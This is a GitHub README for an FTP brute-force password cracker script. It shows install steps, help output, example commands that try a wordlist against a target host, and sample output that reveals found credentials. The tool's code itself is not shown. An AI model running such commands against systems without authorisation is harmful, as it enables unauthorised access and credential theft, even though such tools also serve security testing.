Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Latest commit

 

History

History
History
 
 

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 

To run this:

  • pip3 install -r requirements.txt
  • Use ftp_cracker.py for fast brute force:
    python ftp_cracker.py --help
    
    Output:
    usage: ftp_cracker.py [-h] [-u USER] [-p PASSLIST] [-t THREADS] host
    
    FTP Cracker made with Python
    
    positional arguments:
    host                  The target host or IP address of the FTP server
    
    optional arguments:
    -h, --help            show this help message and exit
    -u USER, --user USER  The username of target FTP server
    -p PASSLIST, --passlist PASSLIST
                            The path of the pass list
    -t THREADS, --threads THREADS
                            Number of workers to spawn for logining, default is 30
    
  • If you want to use the wordlist wordlist.txt in the current directory against the host 192.168.1.2 (can be domain or private/public IP address) with the user user:
    python ftp_cracker.py 192.168.1.2 -u user -p wordlist.txt
    
  • You can also tweak the number of threads to spawn (can be faster, default is 30):
    python ftp_cracker.py 192.168.1.2 -u user -p wordlist.txt --threads 35
    
  • Output can be something like this:
    [!] Trying 123456
    [!] Trying 12345
    ...
    [!] Trying sweety
    [!] Trying joseph
    [+] Found credentials:
            Host: 192.168.1.113
            User: test
            Password: abc123
    
Morty Proxy This is a proxified and sanitized view of the page, visit original site.